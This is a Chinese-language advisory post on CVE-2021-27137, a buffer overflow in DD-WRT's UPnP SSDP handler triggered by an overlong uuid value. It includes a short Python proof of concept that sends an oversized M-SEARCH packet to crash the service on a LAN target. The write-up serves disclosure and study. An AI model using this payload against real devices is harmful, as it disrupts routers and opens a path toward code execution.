DD-WRT UPNP 缓冲区溢出漏洞 CVE-2021-27137

发布于 2024-12-09 08:59:39 字数 1390 浏览 15 评论 0

漏洞描述

默认情况下,DD-WRT 中的 UPNP 处于禁用状态,并且仅在内部网络接口上侦听。UPNP 本质上是未经身份验证的 UDP 形式的协议–由于无法对协议强制执行身份验证,因此它既易于使用又具有不安全性。

如果 DD-WRT 启用了 UPNP 服务,则坐在存在 DD-WRT 设备的 LAN 上的远程攻击者可以通过发送一个过长的 uuid 值来触发缓冲区溢出。根据部署 DD-WRT 的平台的不同,可能存在缓解措施,也可能没有缓解措施,例如 ASLR 等,这使得可利用性取决于安装 DD-WRT 的平台。

漏洞影响

DD-WRT < 45723 版本

漏洞复现

通过查看源代码,ssdp.c 可以很容易地发现有问题的代码:

用户提供的数据的未绑定副本被复制到缓冲区中,该缓冲区的大小限制为 128 个字节。

由于默认情况下未启用 UPNP 服务,因此重新创建漏洞的第一步是启用将自动启动该服务的服务

启动 PoC 脚本将触发 upnp 服务崩溃,这可以在启动以下 python 脚本几秒钟后看到

漏洞利用 POC

import socket
target_ip = "192.168.15.124" # IP Address of Target
off = "D"*164
ret_addr = "AAAA" 
payload = off + ret_addr
packet = \
    'M-SEARCH * HTTP/1.1\r\n' \
    'HOST:239.255.255.250:1900\r\n' \
    'ST:uuid:'+payload+'\r\n' \
    'MX:2\r\n' \
    'MAN:"ssdp:discover"\r\n' \
    '\r\n'
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM, socket.IPPROTO_UDP)
s.sendto(packet.encode(), (target_ip, 1900) )

如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。

扫码二维码加入Web技术交流群

发布评论

需要 登录 才能够评论, 你可以免费 注册 一个本站的账号。
列表为空,暂无数据

关于作者

萝莉病

暂无简介

文章
评论
27 人气
更多

推荐作者

alipaysp_snBf0MSZIv

文章 0 评论 0

梦断已成空

文章 0 评论 0

瞎闹

文章 0 评论 0

寄意

文章 0 评论 0

似梦非梦

文章 0 评论 0

    我们使用 Cookies 和其他技术来定制您的体验包括您的登录状态等。通过阅读我们的 隐私政策 了解更多相关信息。 单击 接受 或继续使用网站,即表示您同意使用 Cookies 和您的相关数据。
    原文